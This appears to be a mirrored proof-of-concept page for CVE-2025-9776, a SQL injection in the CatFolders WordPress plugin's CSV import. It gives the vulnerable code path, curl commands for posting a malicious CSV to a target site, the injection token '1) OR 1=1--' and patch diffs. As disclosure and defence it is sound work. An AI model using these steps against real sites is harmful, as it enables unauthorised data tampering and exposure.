Associated Vulnerability
Title:CatFolders – Tame Your WordPress Media Library by Category <= 2.5.2 - Authenticated (Author+) SQL Injection via CSV Import (CVE-2025-9776)Description:The CatFolders – Tame Your WordPress Media Library by Category plugin for WordPress is vulnerable to time-based SQL Injection via the CSV Import contents in all versions up to, and including, 2.5.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Description
CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough
Readme
# CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import
**Researcher:** Snailsploit (https://snailsploit.com)
**CVE:** [CVE-2025-9776](https://www.cve.org/CVERecord?id=CVE-2025-9776)
**Advisory:** Wordfence — CatFolders ≤ 2.5.2 Authenticated (Author) SQL Injection via CSV Import
(https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import)
---
## Summary
An **authenticated SQL Injection** exists in **CatFolders – Tame Your WordPress Media Library by Category** (`catfolders`) within the **CSV import** path.
The `attachments` column from a user-supplied CSV is split into a list and passed directly to `FolderModel::set_attachments()` which concatenates those values into raw SQL `IN (...)` clauses.
- **Affected versions:** ≤ **2.5.2** (per Wordfence advisory; see link above)
- **CWE:** CWE-89 (SQL Injection)
- **Privileges required:** `upload_files` (Author+ by default)
- **Impact:** Integrity/Availability — mass deletion or manipulation of folder–attachment mappings; data exposure depends on payload/DB.
**Links**
- MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2025-9776
- Wordfence Advisory: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import
- Researcher site: https://snailsploit.com
---
## Technical Walkthrough (How I Found It)
1. Reviewed REST controllers handling bulk input: `includes/Rest/Controllers/ImportController.php`.
2. In `import_csv`, the uploaded CSV is parsed into `$data` without per-field sanitization.
3. `restore_folders()` calls:
```php
FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
```
4. In `includes/Models/FolderModel.php`, `set_attachments()` builds raw SQL using `implode(',', $imgIds)`, e.g.:
```php
'raw' => 'post_id IN (' . $attachmentIds . ')'
```
5. Because each element is **not cast to integer** nor parameterized, a token like `1) OR 1=1--` breaks out of the `IN(...)` list and alters the query semantics.
---
## Proof of Concept (HTTP)
Prerequisites: an **Author** (or higher) account on a target WordPress site that has CatFolders installed.
1) Discover the REST namespace that exposes `/import-csv` (e.g., `/catf/v1`):
```bash
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
```
2) Use the malicious CSV from `poc/catf_inject.csv` and submit:
```bash
NS="/catf/v1" # replace with discovered namespace
curl -i -u 'author_user:APPLICATION_PASSWORD' -F "file=@poc/catf_inject.csv;type=text/csv" -X POST "https://target.site/wp-json${NS}/import-csv"
```
**Expected response:** `{ "success": true }`
**What happens internally:** the server constructs SQL like:
```sql
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
```
and may perform broader DELETE/INSERT operations than intended, often **wiping relationships**.
> **Ethics:** Test only on systems you own or have explicit permission to assess.
---
## Safe Local Demo (No WordPress Needed)
Run the standalone SQLite simulation to observe the same failure mode safely:
```bash
python3 poc/catfolders_sql_poc.py
```
It prints the vulnerable query and shows how a malicious token returns **all rows**, while the parameterized version rejects it.
---
## Patching (Defensive Fix)
Two minimal hardening steps (see `patch/catfolders_fix.patch`):
1. **Sanitize IDs before calling the model:**
```diff
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
```
2. **Enforce integers inside `set_attachments()`:**
```diff
- $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
```
**Stronger recommendation:** replace **all** raw concatenation with **parameterized queries** (e.g., `$wpdb->prepare()`), and validate CSV fields strictly.
---
## Disclosure / Timeline
See [`disclosure/timeline.md`](./disclosure/timeline.md).
---
## License & Intended Use
This PoC is provided for **defensive research and education**.
Do not test against systems without explicit authorization. Use at your own risk.
— **Snailsploit** (https://snailsploit.com)
File Snapshot
[4.0K] /data/pocs/3295862565675cf07e9aa60fd3e74ab055765f1e
├── [ 254] DISCLAIMER.md
├── [ 940] LICENSE
├── [4.6K] README.md
└── [ 199] SECURITY.md
0 directories, 4 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →